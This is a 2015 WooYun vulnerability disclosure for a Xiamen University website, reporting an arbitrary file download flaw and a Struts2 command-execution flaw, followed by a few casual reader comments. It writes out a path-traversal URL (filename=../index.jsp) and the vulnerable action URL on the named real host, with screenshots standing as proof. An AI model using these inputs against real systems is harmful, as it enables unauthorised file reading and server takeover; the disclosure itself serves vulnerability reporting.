当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0126627

漏洞标题：厦门大学某站官网任意文件下载+struts2命令执行(可getshell)

相关厂商：厦门大学

漏洞作者： Bear baby

提交时间：2015-07-14 16:03

修复时间：2015-07-19 16:04

公开时间：2015-07-19 16:04

漏洞类型：成功的入侵事件

危害等级：高

自评Rank：10

漏洞状态：已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-07-14： 细节已通知厂商并且等待厂商处理中
2015-07-19： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

今天无聊就看了看...

详细说明：

目标站点:

http://isafe.xmu.edu.cn


任意文件下载：

http://isafe.xmu.edu.cn/servlet/FileDownLoad?filename=../index.jsp


1.png


structs2命令执行漏洞:

http://isafe.xmu.edu.cn/staticPage_staticPage.action?id=6


2.png


3.jpg


漏洞证明：

4.jpg

修复方案：

版权声明：转载请注明来源 Bear baby@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-07-19 16:04

厂商回复：

最新状态：

暂无

漏洞评价：

评论

  1. 2015-07-14 16:10 | 茜茜公主 ( 普通白帽子 | Rank:2360 漏洞数:406 | 家里二宝出生，这几个月忙着把屎把尿...忒...)

    @Bear baby 你在厦门呀？

  2. 2015-07-14 16:17 | Bear baby ( 普通白帽子 | Rank:183 漏洞数:20 | 善攻者，不知其所守。善守者，不知其所攻。)

    @茜茜公主 嗯

  3. 2015-07-23 09:34 | sql小神 ( 路人 | Rank:19 漏洞数:4 | 有些漏洞可以提，有些漏洞不可以提。)

    @Bear baby 你喜欢玩安妮是吧，我不是很喜欢玩安妮，我喜欢拉克丝

  4. 2015-08-12 14:29 | 日出东方 ( 普通白帽子 | Rank:161 漏洞数:51 )

    大哥 任意文件下载这样的漏洞一般都是这么发现的？